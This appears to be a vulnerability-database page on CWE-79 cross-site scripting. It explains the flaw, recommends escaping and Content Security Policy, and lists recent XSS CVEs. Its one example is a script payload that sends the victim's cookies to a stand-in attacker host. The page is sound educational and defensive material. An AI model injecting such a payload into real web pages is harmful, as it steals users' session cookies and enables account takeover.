Fallos del tipo CWE-79

29.143 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-66472MEDIUMXWiki vulnerable to a reflected XSS via xredirect parameter in DeleteApplicationEPSS 0.5%CVE-2025-0844MEDIUMneedyamin Library Card System Registration Page signup.php cross site scriptingEPSS 0.5%CVE-2022-4667MEDIUMRSS Aggregator by Feedzy < 4.1.1 - Contributor+ Stored XSSEPSS 0.5%CVE-2022-43524HIGHA vulnerability in the web-based management interface of Aruba EdgeConnect Enterprise Orchestrator could allow an authenticated remote attacEPSS 0.5%CVE-2022-45225MEDIUMBook Store Management System v1.0 was discovered to contain a cross-site scripting (XSS) vulnerability in /bsms_ci/index.php/book. This vulnEPSS 0.5%CVE-2024-4150MEDIUMSimple Basic Contact Form <= 20221201 - Reflected Cross-Site ScriptingEPSS 0.5%CVE-2025-43440MEDIUMThis issue was addressed with improved checks. This issue is fixed in Safari 26.1, iOS 26.1 and iPadOS 26.1, macOS Tahoe 26.1, tvOS 26.1, viEPSS 0.5%CVE-2022-47414MEDIUM If an attacker has access to the console for OpenKM (and is authenticated), a stored XSS vulnerability is reachable in the document "note" EPSS 0.5%CVE-2024-6783MEDIUMVue client-side XSS via prototype pollutionEPSS 0.5%CVE-2023-50630MEDIUMCross Site Scripting (XSS) vulnerability in xiweicheng TMS v.2.28.0 allows a remote attacker to execute arbitrary code via a crafted script EPSS 0.5%CVE-2025-40651MEDIUMReflected Cross Site Scripting (XSS) in Real Easy StoreEPSS 0.5%CVE-2023-3562LOWGZ Scripts PHP CRM Platform index.php cross site scriptingEPSS 0.5%CVE-2023-3561LOWGZ Scripts PHP GZ Hotel Booking Script load.php cross site scriptingEPSS 0.5%CVE-2024-2775LOWCampcodes Online Marriage Registration System user-profile.php cross site scriptingEPSS 0.5%CVE-2021-24584—Timetable and Event Schedule by MotoPress < 2.4.2 - Unauthorised Event TimeSlot UpdateEPSS 0.5%CVE-2024-10172MEDIUMWPBakery Visual Composer WHMCS Elements <= 1.0.4 - Authenticated (Contributor+) Stored Cross-Site Scripting via void_wbwhmcse_laouts_search ShortcodeEPSS 0.5%CVE-2023-3558LOWGZ Scripts Event Booking Calendar load.php cross site scriptingEPSS 0.5%CVE-2023-3074HIGHCross-site Scripting (XSS) - Stored in tsolucio/corebosEPSS 0.5%CVE-2023-3557LOWGZ Scripts Property Listing Script preview.php cross site scriptingEPSS 0.5%CVE-2023-28415MEDIUMWordPress Side Cart Woocommerce (Ajax) Plugin <= 2.2 is vulnerable to Cross Site Scripting (XSS)EPSS 0.5%